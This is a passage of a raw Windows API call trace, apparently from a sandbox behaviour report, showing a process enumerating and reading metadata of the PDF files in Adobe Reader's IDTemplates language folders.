nFileSizeLow=0x10929, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.322] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10405, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.322] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10405, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.322] GetLastError () returned 0x12 [0081.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.322] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOR", cAlternateFileName="")) returned 1 [0081.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.323] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.323] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.323] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258f10 [0081.323] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258f10, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258f10, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258f10) returned 1 [0081.324] NtClose (Handle=0x178) returned 0x0 [0081.324] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.324] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.325] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.325] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.325] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10956, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12019b8 [0081.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1263350 [0081.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.326] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1043a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.327] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.327] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12019d8 [0081.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1263458 [0081.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.340] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1043a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.340] GetLastError () returned 0x12 [0081.340] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.340] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.340] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.341] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10956, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.341] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1043a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.341] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1043a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.341] GetLastError () returned 0x12 [0081.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.341] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.341] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POL", cAlternateFileName="")) returned 1 [0081.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.341] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.349] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.350] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258f10 [0081.350] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258f10, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258f10, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258f10) returned 1 [0081.350] NtClose (Handle=0x168) returned 0x0 [0081.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.351] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.351] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.351] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x26ca2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12019f8 [0081.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1263560 [0081.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.353] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201a18 [0081.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1263668 [0081.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.354] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.354] GetLastError () returned 0x12 [0081.354] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.354] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.354] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.354] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x26ca2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.354] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.354] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.355] GetLastError () returned 0x12 [0081.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.355] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.355] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTB", cAlternateFileName="")) returned 1 [0081.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.355] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.356] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.356] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258f10 [0081.356] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258f10, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258f10, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258f10) returned 1 [0081.357] NtClose (Handle=0x178) returned 0x0 [0081.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.358] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.358] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.358] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11426, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.358] 